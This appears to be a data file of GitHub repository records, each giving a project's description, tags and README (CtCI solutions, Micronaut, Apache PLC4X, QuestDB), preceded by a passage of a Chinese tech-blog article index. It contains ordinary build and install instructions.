6. [Go语言基准测试(benchmark)三部曲之一：基础篇](https://xinchen.blog.csdn.net/article/details/128986489)
7. [Go语言基准测试(benchmark)三部曲之二：内存篇](https://xinchen.blog.csdn.net/article/details/128997452)
## gRPC特辑
1. [《gRPC学习之一：在CentOS7部署和设置GO》](https://xinchen.blog.csdn.net/article/details/110790538)
2. [《gRPC学习之二：GO的gRPC开发环境准备》](https://xinchen.blog.csdn.net/article/details/111066105)
3. [《gRPC学习之三：初试GO版gRPC开发》](https://xinchen.blog.csdn.net/article/details/111086114)
4. [《gRPC学习之四：实战四类服务方法》](https://xinchen.blog.csdn.net/article/details/111144884)
5. [《gRPC学习之五：gRPC-Gateway实战》](https://xinchen.blog.csdn.net/article/details/111399854)
6. [《gRPC学习之六：gRPC-Gateway集成swagger》](https://xinchen.blog.csdn.net/article/details/111406857)
# 机器学习
1. [《机器学习的开发环境准备》](https://blog.csdn.net/boling_cavalry/article/details/96628350)
2. [《Docker下，五分钟极速体验机器学习》](https://blog.csdn.net/boling_cavalry/article/details/96718499)
3. [《来自Java程序员的Python新手入门小结》](https://xinchen.blog.csdn.net/article/details/120575494)
4. [《NumPy学习笔记》](https://xinchen.blog.csdn.net/article/details/120608660)
5. [《Ubuntu16安装Nvidia驱动(GTX1060显卡)》](https://xinchen.blog.csdn.net/article/details/120633388)
6. [《Anaconda3+CUDA10.1+CUDNN7.6+TensorFlow2.6安装（Ubuntu16）》](https://xinchen.blog.csdn.net/article/details/120639465)
# 深度学习
## DL4J实战特辑
1. [《DL4J实战之一：准备》](https://blog.csdn.net/boling_cavalry/article/details/117898354)
2. [《DL4J实战之二：鸢尾花分类》](https://blog.csdn.net/boling_cavalry/article/details/117905798)
3. [《DL4J实战之三：经典卷积实例(LeNet-5)》](https://blog.csdn.net/boling_cavalry/article/details/118239403)
4. [《DL4J实战之四：经典卷积实例(GPU版本)》](https://blog.csdn.net/boling_cavalry/article/details/118240038)
5. [《DL4J实战之五：矩阵操作基本功》](https://blog.csdn.net/boling_cavalry/article/details/118442820)
6. [《DL4J实战之六：图形化展示训练过程》](https://blog.csdn.net/boling_cavalry/article/details/118593750)
## 深度学习工程化
1. [《纯净Ubuntu16安装CUDA(9.1)和cuDNN》](https://blog.csdn.net/boling_cavalry/article/details/118065868)
2. [《三分钟体验：SpringBoot用深度学习模型识别数字》](https://blog.csdn.net/boling_cavalry/article/details/118290933)
3. [《SpringBoot用深度学习模型识别数字：开发详解》](https://blog.csdn.net/boling_cavalry/article/details/118353259)
4. [《三分钟极速体验：Java版人脸检测》](https://blog.csdn.net/boling_cavalry/article/details/118862001)
5. [《Java版人脸检测详解上篇：运行环境的Docker镜像(CentOS+JDK+OpenCV)》](https://blog.csdn.net/boling_cavalry/article/details/118876299)
6. [《Java版人脸检测详解下篇：编码》](https://blog.csdn.net/boling_cavalry/article/details/118970439)
7. [《三分钟：极速体验JAVA版目标检测(YOLO4)》](https://xinchen.blog.csdn.net/article/details/120819464)
8. [《制作JavaCV应用依赖的基础Docker镜像(CentOS7+JDK8+OpenCV4)》](https://xinchen.blog.csdn.net/article/details/120926346)
9. [《超详细的编码实战，让你的springboot应用识别图片中的行人、汽车、狗子、喵星人（JavaCV+YOLO4）》](https://xinchen.blog.csdn.net/article/details/120929514)
# 多媒体
## kurento
1. [《Kurento实战之一：KMS部署和体验》](https://xinchen.blog.csdn.net/article/details/112070074)
2. [《Kurento实战之二：快速部署和体验》](https://xinchen.blog.csdn.net/article/details/112385575)
3. [《Kurento实战之三：知识点小导游》](https://xinchen.blog.csdn.net/article/details/112415314)
4. [《Kurento实战之四：应用开发指南》](https://xinchen.blog.csdn.net/article/details/112504048)
5. [《微信小程序+腾讯云直播的实时音视频实战笔记》](https://blog.csdn.net/boling_cavalry/article/details/116855410)
6. [《Kurento实战之五：媒体播放》](https://blog.csdn.net/boling_cavalry/article/details/118055902)
7. [《Kurento实战之六：云端录制》](https://blog.csdn.net/boling_cavalry/article/details/118065861)
## JavaCV特辑
1. [《JavaCV推流实战(MP4文件)》](https://xinchen.blog.csdn.net/article/details/121434969)
2. [《JavaCV的摄像头实战之一：基础》](https://xinchen.blog.csdn.net/article/details/121572093)
3. [《JavaCV的摄像头实战之二：本地窗口预览》](https://xinchen.blog.csdn.net/article/details/121587043)
4. [《JavaCV的摄像头实战之三：保存为mp4文件》](https://xinchen.blog.csdn.net/article/details/121597278)
5. [《JavaCV的摄像头实战之四：抓图》](https://xinchen.blog.csdn.net/article/details/121624255)
6. [《JavaCV的摄像头实战之五：推流》](https://xinchen.blog.csdn.net/article/details/121647316)
7. [《JavaCV的摄像头实战之六：保存为mp4文件(有声音)》](https://xinchen.blog.csdn.net/article/details/121713539)
8. [《JavaCV的摄像头实战之七：推流(带声音)》](https://xinchen.blog.csdn.net/article/details/121713559)
9. [《JavaCV的摄像头实战之八：人脸检测》](https://xinchen.blog.csdn.net/article/details/121730985)
10. [《JavaCV人脸识别三部曲之一：视频中的人脸保存为图片》](https://xinchen.blog.csdn.net/article/details/122008998)
11. [《JavaCV人脸识别三部曲之二：训练》](https://xinchen.blog.csdn.net/article/details/122016154)
12. [《JavaCV人脸识别三部曲之三：识别和预览》](https://xinchen.blog.csdn.net/article/details/122021850)
13. [《JavaCV的摄像头实战之十二：性别检测》](https://xinchen.blog.csdn.net/article/details/122098821)
14. [《JavaCV的摄像头实战之十三：年龄检测》](https://xinchen.blog.csdn.net/article/details/122151728)
15. [《最简单的人脸检测（免费调用百度AI开放平台接口）》](https://xinchen.blog.csdn.net/article/details/122285751)
16. [《JavaCV的摄像头实战之十四：口罩检测》](https://xinchen.blog.csdn.net/article/details/122375869)
17. [《Java版人脸跟踪三部曲之一：极速体验》](https://xinchen.blog.csdn.net/article/details/122391898)
18. [《Java版人脸跟踪三部曲之二：开发设计》](https://xinchen.blog.csdn.net/article/details/122528833)
19. [《Java版人脸跟踪三部曲之三：编码实战》](https://xinchen.blog.csdn.net/article/details/122678517)
# 硬件
## 树莓派
1. [《树莓派3B安装64位操作系统(树莓派无需连接显示器键盘鼠标)》](https://blog.csdn.net/boling_cavalry/article/details/80716098)
2. [《64位树莓派上安装和配置golang1.9.2》](https://blog.csdn.net/boling_cavalry/article/details/84501381)
3. [《树莓派3B搭建Flink集群》](https://blog.csdn.net/boling_cavalry/article/details/85222494)
4. [《树莓派部署Elasticsearch6集群》](https://blog.csdn.net/boling_cavalry/article/details/89440971)
5. [《树莓派4B安装64位Linux(不用显示器键盘鼠标)》](https://blog.csdn.net/boling_cavalry/article/details/100594275)
6. [《树莓派4B安装docker-compose(64位Linux)》](https://blog.csdn.net/boling_cavalry/article/details/101105693)
## 群晖
1. [《群晖DS218+做maven私服(nexus3)》](https://xinchen.blog.csdn.net/article/details/105458466)
2. [《群晖DS218+部署mysql》](https://xinchen.blog.csdn.net/article/details/105460567)
3. [《群晖DS218+部署kafka》](https://xinchen.blog.csdn.net/article/details/105462692)
4. [《K8S使用群晖DS218+的NFS》](https://xinchen.blog.csdn.net/article/details/105465233)
5. [《群晖DS218+部署GitLab》](https://blog.csdn.net/boling_cavalry/article/details/106973743)
### 标记(改过内容)
[《把pinpoint编译环境做成Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78447310)
| 0 |
careercup/CtCI-6th-Edition | Cracking the Coding Interview 6th Ed. Solutions | algorithms careercup cracking-the-coding-interview data-structures interview-questions java | # CtCI-6th-Edition
Solutions for [Cracking the Coding Interview 6th Edition](http://www.amazon.com/Cracking-Coding-Interview-6th-Edition/dp/0984782850) by [Gayle Laakmann McDowell](http://www.gayle.com/).
Crowdsourcing solutions for every widely used programming language. **Contributions welcome**.
## Cloning
Solutions in Java are contained directly in this repo and are the same solutions found
in [the book](http://www.amazon.com/Cracking-Coding-Interview-6th-Edition/dp/0984782850). Solutions in other programming languages are contributed by the community and each have
their own dedicated repos which are referenced from this repo as git submodules. What this means for cloning:
- If you want to make a local clone of solutions in all languages, you should use the `--recursive` option:
git clone --recursive https://github.com/careercup/CtCI-6th-Edition.git
- If you're only interested in the Java solutions:
git clone https://github.com/careercup/CtCI-6th-Edition.git
- If you originally cloned without `--recursive`, and then later decide you want the git submodules too, run:
git submodule update --init --recursive
## Contributing
### Work Flow
1. Fork the appropriate repo for your language to your GitHub user. (see [Where to submit pull requests](#where-to-submit-pull-requests))
2. Write quality code and lint if applicable.
3. Add tests if applicable.
4. Open a pull request and provide a descriptive comment for what you did.
### Where to submit pull requests
Pull requests pertaining to Java solutions should be submitted to the main [CtCI-6th-Edition repo](https://github.com/careercup/CtCI-6th-Edition). Please submit pull requests for all other languages to the appropriate language-specific repo.
- [CtCI-6th-Edition-Clojure](https://github.com/careercup/CtCI-6th-Edition-Clojure)
- [CtCI-6th-Edition-C](https://github.com/careercup/CtCI-6th-Edition-C)
- [CtCI-6th-Edition-cpp](https://github.com/careercup/CtCI-6th-Edition-cpp)
- [CtCI-6th-Edition-CSharp](https://github.com/careercup/CtCI-6th-Edition-CSharp)
- [CtCI-6th-Edition-Go](https://github.com/careercup/CtCI-6th-Edition-Go)
- [CtCI-6th-Edition-Groovy](https://github.com/careercup/CtCI-6th-Edition-Groovy)
- [CtCI-6th-Edition-Haskell](https://github.com/careercup/CtCI-6th-Edition-Haskell)
- [CtCI-6th-Edition-JavaScript](https://github.com/careercup/CtCI-6th-Edition-JavaScript)
- [CtCI-6th-Edition-JavaScript-ES2015](https://github.com/careercup/CtCI-6th-Edition-JavaScript-ES2015)
- [CtCI-6th-Edition-Julia](https://github.com/careercup/CtCI-6th-Edition-Julia)
- [CtCI-6th-Edition-Kotlin](https://github.com/careercup/CtCI-6th-Edition-Kotlin)
- [CtCI-6th-Edition-Objective-C](https://github.com/careercup/CtCI-6th-Edition-Objective-C)
- [CtCI-6th-Edition-php](https://github.com/careercup/CtCI-6th-Edition-php)
- [CtCI-6th-Edition-Python](https://github.com/careercup/CtCI-6th-Edition-Python)
- [CtCI-6th-Edition-Ruby](https://github.com/careercup/CtCI-6th-Edition-Ruby)
- [CtCI-6th-Edition-Swift](https://github.com/careercup/CtCI-6th-Edition-Swift)
### Adding a new Language
Solutions in other languages are welcome too and should follow this workflow:
1. Create the new repo under your own GitHub user account and start contributing solutions. The repo name should follow this naming convention: `CtCI-6th-Edition-<language>`.
2. Open an [issue on the CtCI-6th-Edition repo](https://github.com/careercup/CtCI-6th-Edition/issues) to request that your solution repo be promoted to join the careercup GitHub organization and referenced from the main repo as a git submodule.
3. If your request is approved, navigate to your repo's settings page and select the "Transfer Ownership" option, and specify "careercup" as the new owner.
| 0 |
micronaut-projects/micronaut-core | Micronaut Application Framework | cloudnative groovy java kotlin microservices serverless | # Micronaut Framework
[](https://github.com/micronaut-projects/micronaut-core/actions)
[](https://ge.micronaut.io/scans)
[](https://sonarcloud.io/summary/new_code?id=micronaut-projects_micronaut-core)
[Micronaut Framework](https://micronaut.io) is a modern, JVM-based, full stack Java framework designed for building modular, easily testable JVM applications with support for Java, Kotlin and the Groovy language.
The Micronaut framework was originally created by a team who had also worked on the Grails framework. The Micronaut framework takes inspiration from lessons learned over the years building real-world applications from monoliths to microservices using Spring, Spring Boot and the Grails framework. The core team continues to develop and maintain the Micronaut project through the support of the Micronaut Foundation.
Micronaut Framework aims to provide all the tools necessary to build JVM applications including:
* Dependency Injection and Inversion of Control (IoC)
* Aspect Oriented Programming (AOP)
* Sensible Defaults and Auto-Configuration
With Micronaut Framework you can build Message-Driven Applications, Command Line Applications, HTTP Servers and more whilst for Microservices in particular Micronaut Framework also provides:
* Distributed Configuration
* Service Discovery
* HTTP Routing
* Client-Side Load Balancing
At the same time Micronaut Framework aims to avoid the downsides of frameworks like Spring, Spring Boot and Grails by providing:
* Fast startup time
* Reduced memory footprint
* Minimal use of reflection
* Minimal use of proxies
* No runtime bytecode generation
* Easy Unit Testing
This is achieved by pre-computing the framework infrastructure at compilation time which reduces the logic required at runtime for the application to work.
For more information on using Micronaut Framework see the documentation at [micronaut.io](https://micronaut.io)
## Example Applications
Example Micronaut Framework applications can be found in the [Examples repository](https://github.com/micronaut-projects/micronaut-examples)
## Building From Source
To build from source checkout the code and run:
```
./gradlew publishToMavenLocal
```
To build the documentation run `./gradlew docs`. The documentation is built to `build/docs/index.html`.
## Contributing Code
If you wish to contribute to the development of Micronaut Framework please read the [CONTRIBUTING.md](CONTRIBUTING.md)
## Versioning
Micronaut Framework is using Semantic Versioning 2.0.0. To understand what that means, please see the specification [documentation](https://semver.org/). Exclusions to Micronaut Framework's public API include any classes annotated with `@Experimental` or `@Internal`, which reside in the `io.micronaut.core.annotation` package.
## CI
[GitHub Actions](https://github.com/micronaut-projects/micronaut-core/actions) are used to build Micronaut Framework. If a build fails in `master`, check the [test reports](https://micronaut-projects.github.io/micronaut-core/index.html).
| 0 |
apache/plc4x | PLC4X The Industrial IoT adapter | ab ads bacnet c can cpp ethernetip firmata go iot java knx modbus net opcua python s7 siemens | <!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
[](https://img.shields.io/maven-central/v/org.apache.plc4x/plc4j-api.svg)
[](https://www.apache.org/licenses/LICENSE-2.0)
[](https://ci-builds.apache.org/job/PLC4X/job/PLC4X/job/develop/)
[]()
[](https://twitter.com/ApachePLC4X)
[](https://github.com/apache/plc4x/actions/workflows/java-platform.yml)
[](https://github.com/apache/plc4x/actions/workflows/go-platform.yml)
[](https://github.com/apache/plc4x/actions/workflows/c-platform.yml)
[](https://github.com/apache/plc4x/actions/workflows/python-platform.yml)
<h1 align="center">
<br>
<a href="https://plc4x.apache.org"><img src="https://plc4x.apache.org/images/apache_plc4x_logo.png"
alt="Apache PLC4X Logo" title="Apache PLC4X Logo"/></a>
<br>
</h1>
<h3 align="center">The Industrial IoT adapter</h3>
<h4 align="center">The ultimate goal of PLC4X is to create a set of libraries, that allow unified access to any type of
PLC</h4>
***
# Table of contents
* [About PLC4X](#about-apache-plc4x)
* [Getting Started](#getting-started)
* [Developers](#developers)
* [Community](#community)
* [Contributing](#contributing)
* [Licensing](#licensing)
***
## About Apache PLC4X
Apache PLC4X is an effort to create a set of libraries for communicating with industrial grade programmable logic controllers (PLCs) in a uniform way.
We are planning on shipping libraries for usage in:
1. Java
2. Go
3. C (not ready for usage)
4. Python (not ready for usage)
5. C# (.Net) (not ready for usage - abandoned)
PLC4X also integrates with other Apache projects, such as:
* [Apache Calcite](https://calcite.apache.org/)
* [Apache Camel](https://camel.apache.org/)
* [Apache Kafka-Connect](https://kafka.apache.org)
* [Apache Karaf](https://karaf.apache.org/)
* [Apache NiFi](https://nifi.apache.org/)
And brings stand-alone (Java) utils like:
* OPC-UA Server: Enables you to communicate with legacy devices using PLC4X with OPC-UA.
* PLC4X Server: Enables you to communicate with a central PLC4X Server which then communicates with devices via PLC4X.
It also provides (Java) tools for usage inside an application:
* Connection Cache: New implementation of our framework for re-using and sharing PLC-connections
* Connection Pool: Old implementation of our framework for re-using and sharing PLC-connections
* OPM: Object-Plc-Mapping: Allows binding PLC fields to properties in java POJOs similar to JPA
* Scraper: Utility to do scheduled and repeated data collection.
## Getting started
Depending on the programming language, the usage will differ, therefore please go to the
[Getting Started](https://plc4x.apache.org/users/getting-started/plc4j.html) on the PLC4X website to look up
the language of choice.
### Java
NOTE: Currently the Java version which supports building of all parts of Apache PLC4X is at least Java 19 (We have tested all versions up to Java 21), however it's only the Java Tool UI, that requires this right now. All other modules need at least Java 11.
See the PLC4J user guide on the website to start using PLC4X in your Java application:
[https://plc4x.apache.org/users/getting-started/plc4j.html](https://plc4x.apache.org/users/getting-started/plc4j.html)
## Developers
### Environment
Currently, the project is configured to require the following software:
1. Java 11 JDK: For running Maven in general as well as compiling the Java and Scala modules `JAVA_HOME` configured to point to that.
2. Git (even when working on the source distribution)
3. (Optional, for running all tests) libpcap/Npcap for raw socket tests in Java or use of `passive-mode` drivers
4. (Optional, for building the website) [Graphviz](https://www.graphviz.org/) : For generating the graphs in the documentation
WARNING: The code generation uses a utility which requires some additional VM settings. When running a build from the root, the settings in the `.mvn/jvm.config` are automatically applied. When building only a sub-module, it is important to set the vm args: `--add-exports jdk.compiler/com.sun.tools.javac.api=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.file=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.parser=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.tree=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.util=ALL-UNNAMED`. In Intellij for example set these in the IDE settings under: Preferences | Build, Execution, Deployment | Build Tools | Maven | Runner: JVM Options.
A more detailed description is available on our website:
https://plc4x.apache.org/developers/preparing/index.html
#### For building `PLC4C` we also need:
All requirements are retrieved by the build itself
#### For building `PLC4Go` we also need:
All requirements are retrieved by the build itself
#### For building `PLC4Py` we also need:
1. Python 3.7 or higher
2. Python pyenv
#### For building `PLC4Net` we also need:
1. DotNet SDK 6.0
With this setup you will be able to build the Java part of PLC4X.
The when doing a full build, we automatically run a prerequisite check and fail the build with an explanation, if not all requirements are meet.
### Building with Docker
If you don't want to bother setting up the environment on your normal system, and you have Docker installed, you can also build everything in a Docker container:
```
docker compose up
```
This will build a local Docker container able to build all parts of PLC4X and will run a maven build of the local directory inside this container.
The default build will run a local release-build, so it can also be used to ensure reproducible builds when releasing.
Per default will it store files locally:
- Downloaded maven artifacts will go to `out/.repository`
- Deployed artifacts will go to `out/.local-snapshots-dir`
The reason for this is, that otherwise the artifacts would be packaged in with the source-release artifact, resulting in a 12GB or more zip archive.
However, saving it in the main `target` directory would make the build delete the local repo every time a `mvn clean` is run.
The `out` directory however is excluded per default from the assembly descriptor, and therefore it is not included in the source zim.
### Getting Started
You must have at least Java 11 installed on your system and connectivity to Maven Central
(for downloading external third party dependencies). Maven 3.6 is required to build, so be sure it's installed and available on your system.
NOTE: When using Java 21 currently the Apache Kafka integration module is excluded from the build as one of the plugins it requires has proven to be incompatible with this version.
NOTE: There is a convenience Maven-Wrapper installed in the repo, when used, this automatically downloads and installs Maven. If you want to use this, please use `./mvnw` or `mvnw` instead of the normal `mvn` command.
NOTE: When running from sources-zip, the `mvnw` might not be executable on `Mac` or `Linux`. This can easily be fixed by running the following command in the directory.
```
$ chmod +x mvnw
```
NOTE: If you are working on a `Windows` system, please use `mvnw.cmd` instead of `./mvnw` in the following build commands.
Build PLC4X Java jars and install them in your local maven repository
```
./mvnw install
```
You can now construct Java applications that use PLC4X. The PLC4X examples
are a good place to start and are available inside the `plc4j/examples`
directory.
The `Go` drivers can be built by enabling the `with-go` profile:
```
./mvnw -P with-go install
```
The `Java` drivers can be built by enabling the `with-java` profile:
```
./mvnw -P with-java install
```
The `C# / .Net` implementation is currently in a `work in progress` state.
In order to be able to build the `C# / .Net` module, you currently need to activate the:
`with-dotnet` profiles.
```
./mvnw -P with-dotnet install
```
The Python implementation is currently in a somewhat unclean state and still needs refactoring.
In order to be able to build the Python module, you currently need to activate the:
`with-python` profiles.
```
./mvnw -P with-python install
```
In order to build everything the following command should work:
```
./mvnw -P with-c,with-dotnet,with-go,with-java,with-python,enable-all-checks,update-generated-code install
```
## Community
Join the PLC4X community by using one of the following channels. We'll be glad to help!
### Mailing Lists
Subscribe to the following mailing lists:
* Apache PLC4X Developer List: [dev-subscribe@plc4x.apache.org](mailto:dev-subscribe@plc4x.apache.org)
* Apache PLC4X Commits List: [commits-subscribe@plc4x.apache.org](mailto:commits-subscribe@plc4x.apache.org)
* Apache PLC4X Jira Notification List: [issues-subscribe@plc4x.apache.org](mailto:issues-subscribe@plc4x.apache.org)
See also: [https://plc4x.apache.org/mailing-lists.html](https://plc4x.apache.org/mailing-lists.html)
### Twitter
Get the latest PLC4X news on Twitter: [https://twitter.com/ApachePlc4x](https://twitter.com/ApachePlc4x)
## Contributing
There are multiple forms in which you can become involved with the PLC4X project.
These are, but are not limited to:
* Providing information and insights
* Testing PLC4X and providing feedback
* Submitting Pull Requests
* Filing Bug-Reports
* Active communication on our mailing lists
* Promoting the project (articles, blog posts, talks at conferences)
* Documentation
We are a very friendly bunch so don’t be afraid to step forward.
If you'd like to contribute to PLC4X, have a look at our
[contribution guide](https://plc4x.apache.org/developers/contributing.html)!
## Licensing
Apache PLC4X is released under the Apache License Version 2.0.
| 0 |
questdb/questdb | An open source time-series database for fast ingest and SQL queries | analytics big-data cpp database financial-analysis grafana hacktoberfest iot java low-latency postgres postgresql questdb simd sql time-series time-series-database tsdb | <div align="center">
<a href="https://questdb.io/" target="blank"><img alt="QuestDB Logo" src="https://questdb.io/img/questdb-logo-themed.svg" width="305px"/></a>
</div>
<p> </p>
<p align="center">
<a href="https://slack.questdb.io">
<img src="https://slack.questdb.io/badge.svg" alt="QuestDB community Slack channel"/>
</a>
<a href="#contribute">
<img src="https://img.shields.io/github/contributors/questdb/questdb" alt="QuestDB open source contributors"/>
</a>
<a href="https://search.maven.org/search?q=g:org.questdb">
<img src="https://img.shields.io/maven-central/v/org.questdb/questdb" alt="QuestDB on Apache Maven"/>
</a>
</p>
English | [简体中文](./i18n/README.zh-cn.md) | [繁體中文](./i18n/README.zh-hk.md) | [العربية](./i18n/README.ar-dz.md) | [Italiano](./i18n/README.it-it.md) | [Українська](./i18n/README.ua-ua.md) | [Español](./i18n/README.es-es.md) | [Português](./i18n/README.pt.md) | [日本語](./i18n/README.ja-ja.md) | [Türkçe](./i18n/README.tr-tr.md) | [हिंदी](./i18n/README.hn-in.md) | [Tiếng Việt](./i18n/README.vi-vn.md)
# QuestDB
QuestDB is an open-source time-series database for high throughput
ingestion and fast SQL queries with operational simplicity.
QuestDB is well-suited for financial market data, IoT sensor data, ad-tech and real-time dashboards. It shines for datasets with [high cardinality](https://questdb.io/glossary/high-cardinality/)
and is a drop-in replacement for InfluxDB via support for the InfluxDB Line Protocol.
QuestDB implements ANSI SQL with native time-series SQL extensions. These SQL extensions make it simple to filter and downsample data,
or correlate data from multiple sources using relational and time-series joins.
We achieve high performance by adopting a column-oriented storage model, parallelized vector execution, SIMD instructions, and low-latency techniques.
The entire codebase is built from the ground up in Java, C++ and [Rust](https://questdb.io/blog/leveraging-rust-in-our-high-performance-java-database/) with no dependencies and zero garbage collection.
QuestDB supports schema-agnostic streaming ingestion using the InfluxDB line protocol and a REST API for bulk imports and exports.
The QuestDB SQL Web Console is an interactive SQL editor facilitating CSV import. Finally, QuestDB also includes the Postgres Wire Protocol
for programmatic queries.
Popular tools that integrate with QuestDB include [Apache Kafka](https://questdb.io/docs/third-party-tools/kafka/questdb-kafka/), [Grafana](https://questdb.io/docs/third-party-tools/grafana/),
[Superset](https://questdb.io/docs/third-party-tools/superset/), [Telegraf](https://questdb.io/docs/third-party-tools/telegraf/) and [Apache Flink](https://questdb.io/docs/third-party-tools/flink/).
<div align="center">
<a href="https://demo.questdb.io">
<img alt="QuestDB Web Console showing a SQL statement and query result" src="https://raw.githubusercontent.com/questdb/questdb/master/.github/console.png" width="600" />
</a>
</div>
## Try QuestDB
We provide a [live demo](https://demo.questdb.io/) provisioned with the latest QuestDB release and sample datasets:
- Trips: 10 years of NYC taxi trips with 1.6 billion rows
- Trades: live crypto market data with 30M+ rows per month
- Pos: geolocations of 250k unique ships over time
> Checkout our [interactive real-time market data dashboards](https://questdb.io/dashboards/crypto/) and [NYC Taxi Data Analytics Dashboards](https://questdb.io/dashboards/taxi/) powered by QuestDB and Grafana.
| Query | Execution time |
|-------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `SELECT sum(double) FROM trips` | [0.15 secs](<https://demo.questdb.io/?query=SELECT%20sum(trip_distance)%20FROM%20trips;&executeQuery=true>) |
| `SELECT sum(double), avg(double) FROM trips` | [0.5 secs](<https://demo.questdb.io/?query=SELECT%20sum(fare_amount),%20avg(fare_amount)%20FROM%20trips;&executeQuery=true>) |
| `SELECT avg(double) FROM trips WHERE time in '2019'` | [0.02 secs](<https://demo.questdb.io/?query=SELECT%20avg(trip_distance)%20FROM%20trips%20WHERE%20pickup_datetime%20IN%20%272019%27;&executeQuery=true>) |
| `SELECT time, avg(double) FROM trips WHERE time in '2019-01-01' SAMPLE BY 1h` | [0.01 secs](<https://demo.questdb.io/?query=SELECT%20pickup_datetime,%20avg(trip_distance)%20FROM%20trips%20WHERE%20pickup_datetime%20IN%20%272019-01-01%27%20SAMPLE%20BY%201h;&executeQuery=true>) |
| `SELECT * FROM trades LATEST ON timestamp PARTITION BY symbol` | [0.00025 secs](https://demo.questdb.io/?query=SELECT%20*%20FROM%20trades%20LATEST%20ON%20timestamp%20PARTITION%20BY%20symbol;&executeQuery=true) |
Our demo is running on `c5.metal` instance and using 24 cores out of 96.
## Get started
### Install QuestDB
To run QuestDB, [Docker](https://www.docker.com/) can be used to get started quickly:
```bash
docker run -p 9000:9000 -p 9009:9009 -p 8812:8812 questdb/questdb
```
macOS users can use Homebrew:
```bash
brew install questdb
brew services start questdb
questdb start // To start questdb
questdb stop // To stop questdb
```
The [QuestDB downloads page](https://questdb.io/get-questdb/) provides direct downloads for binaries and has details for
other installation and deployment methods.
### QuestDB Cloud
QuestDB Cloud is the fully managed version of QuestDB, with additional features such as Role-based access control,
Cloud-native Replication, Compression, monitoring and cloud-native snapshots.
[Get started with $200 credits](https://cloud.questdb.com).
### Connect to QuestDB
You can interact with QuestDB using the following interfaces:
- [Web Console](https://questdb.io/docs/web-console/) for an interactive SQL editor and CSV import on port `9000`
- [InfluxDB line protocol](https://questdb.io/docs/reference/api/ilp/overview/) for streaming ingestion on port `9000`
- [PostgreSQL wire protocol](https://questdb.io/docs/reference/api/postgres/) for programmatic queries and transactional inserts on port `8812`
- [REST API](https://questdb.io/docs/reference/api/rest/) for CSV import and cURL on port `9000`
### Insert data
Below are the official QuestDB clients for ingesting data via the InfluxDB Line Protocol:
- [.NET](https://github.com/questdb/net-questdb-client)
- [C/C++](https://github.com/questdb/c-questdb-client)
- [Go](https://pkg.go.dev/github.com/questdb/go-questdb-client)
- [Java](https://questdb.io/docs/reference/clients/java_ilp/)
- [NodeJS](https://questdb.github.io/nodejs-questdb-client)
- [Python](https://py-questdb-client.readthedocs.io/en/latest/)
- [Rust](https://docs.rs/crate/questdb-rs/latest)
### End-to-end quickstart
Want to walk through everything, from streaming ingestion to visualization with Grafana? Check out
our multi-path [quickstart repository](https://github.com/questdb/questdb-quickstart).
## How QuestDB compares to other open source TSDBs
Checkout [our benchmark blog post](https://questdb.io/blog/2024/02/26/questdb-versus-influxdb/)
which compares QuestDB and InfluxDB across functionality, maturity and performance.
<div align="center">
<img alt="A chart comparing the ingestion rate of QuestDB, InfluxDB and TimescaleDB." src=".github/readme-benchmark.png" width="600"/>
</a>
</div>
## Resources
### 📚 Read the docs
- [QuestDB documentation:](https://questdb.io/docs/introduction/) understand how to run and configure QuestDB.
- [Tutorials:](https://questdb.io/tutorial/) learn what's possible with QuestDB step by step.
- [Product roadmap:](https://github.com/orgs/questdb/projects/1/views/5) check out our plan for upcoming releases.
### ❓ Get support
- [Community Slack:](https://slack.questdb.io) join technical discussions, ask questions, and meet other users!
- [GitHub issues:](https://github.com/questdb/questdb/issues) report bugs or issues with QuestDB.
- [Stack Overflow:](https://stackoverflow.com/questions/tagged/questdb) look for common troubleshooting solutions.
### 🚢 Deploy QuestDB
- [AWS AMI](https://questdb.io/docs/guides/aws-official-ami)
- [Google Cloud Platform](https://questdb.io/docs/guides/google-cloud-platform)
- [Official Docker image](https://questdb.io/docs/get-started/docker)
- [DigitalOcean droplets](https://questdb.io/docs/guides/digitalocean)
- [Kubernetes Helm charts](https://questdb.io/docs/guides/kubernetes)
## Contribute
We welcome contributions to the project, whether source code, documentation, bug reports, feature
requests or feedback. To get started with contributing:
- Have a look through GitHub issues labelled
"[Good first issue](https://github.com/questdb/questdb/issues?q=is%3Aissue+is%3Aopen+label%3A%22Good+first+issue%22)".
- For Hacktoberfest, see the relevant [labelled issues](https://github.com/questdb/questdb/issues?q=is%3Aissue+is%3Aopen+label%3Ahacktoberfest)
- Read the
[contribution guide](https://github.com/questdb/questdb/blob/master/CONTRIBUTING.md).
- For details on building QuestDB, see the
[build instructions](https://github.com/questdb/questdb/blob/master/core/README.md).
- [Create a fork](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo)
of QuestDB and submit a pull request with your proposed changes.
✨ As a sign of our gratitude, we also send **QuestDB swag** to our
contributors. [Claim your swag](https://questdb.io/community).
A big thanks goes to the following wonderful people who have contributed to
QuestDB: ([emoji key](https://allcontributors.org/docs/en/emoji-key)):
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
<!-- prettier-ignore-start -->
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<table>
<tbody>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/clickingbuttons"><img src="https://avatars1.githubusercontent.com/u/43246297?v=4" width="100px;" alt=""/><br /><sub><b>clickingbuttons</b></sub></a><br /><a href="https://github.com/questdb/questdb/commits?author=clickingbuttons" title="Code">💻</a> <a href="#ideas-clickingbuttons" title="Ideas, Planning, & Feedback">🤔</a> <a href="#userTesting-clickingbuttons" title="User Testing">📓</a></td>
